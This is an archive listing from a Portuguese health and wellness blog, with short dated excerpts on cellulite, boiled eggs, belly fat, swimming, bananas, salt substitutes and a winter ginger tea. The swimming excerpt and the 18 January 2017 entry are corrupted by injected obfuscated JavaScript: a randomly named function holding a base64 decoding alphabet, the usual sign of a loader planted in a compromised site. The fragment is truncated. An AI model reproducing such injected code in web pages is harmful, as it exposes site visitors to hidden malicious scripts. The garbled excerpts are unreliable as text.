Mar 2, 2017 | Dicas úteis, Faça você mesmo, Saúde e bem estar
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Mar 1, 2017 | Saúde e bem estar
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Fev 18, 2017 | Equilíbrio, Saúde e bem estar
10 dicas para prevenir e controlar a celulite A celulite é um problema que incomoda muito as mulheres após a adolescência. Mas afinal o que é a celulite? São bolsas de gordura acumuladas por baixo da pele que dão origem a covas nas ancas, nas coxas, nas nádegas e...
Fev 9, 2017 | Equilíbrio, Saúde e bem estar
10 boas razões para comer ovos cozidos Os ovos cozidos podem e devem ser um bom aliado na sua alimentação. Em tempos, por desconhecimento, dizia-se que não se deveriam comer ovos todos os dias porque estes seriam responsáveis pelo aumento do colesterol mau no...
Fev 8, 2017 | À descoberta, Dicas úteis, Equilíbrio, Saúde e bem estar
10 Alimentos que ajudam a secar a barriga Hoje falo-lhe de um tema que interessa a muitos de nós: sabia que a gordura abdominal é a mais perigosa de todas, já que se aloja nos orgãos internos? É verdade. Mas há alguns alimentos podem ser óptimos aliados no combate...
Fev 7, 2017 | Saúde e bem estar
Os 10 benefícios da natação para a sua saúde Um estilo de vida saudável é a melhor forma de prevenirmos idas ao médico. Alimentação cuidada e exercício físico são fundamentais. Se quer uma sugestão, eu adoro a natação. Faz bem a tudo e não corremos grfunction...
Fev 6, 2017 | À descoberta, Receitas, Saúde e bem estar
Dicas saudáveis – Benefícios da banana Já sabe que eu adoro dar-lhe dicas saudáveis sobre os alimentos. É importante partilhar. Hoje falo-lhe dos benefícios da banana. Costuma consumir este fruto? Aposto que sim, já que é delicioso. Mas é também uma óptima...
Fev 2, 2017 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – 7 alternativas ao sal Se quer ter mais saúde ou se sofre de problemas como a hipertensão ou colesterol elevado, reduzir drasticamente o consumo de sal é prioritário. Mas saiba que a comida não tem que deixar de ter sabor. Não! A ideia é substituir...
Jan 18, 2017 | À descoberta, Dicas úteis, Em Alta, Saúde e bem estar
5 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jan 12, 2017 | Dicas úteis, Equilíbrio, Receitas, Saúde e bem estar
Chá de gengibre, limão, mel e canela – um amigo para o inverno Os dias estão frios e nada como descobrir receitas que nos aqueçam o corpo e a alma. Então se, a somar a tudo isto, fortalecerem as nossas defesas e nos deixarem mais saudáveis, maravilhoso! Hoje...
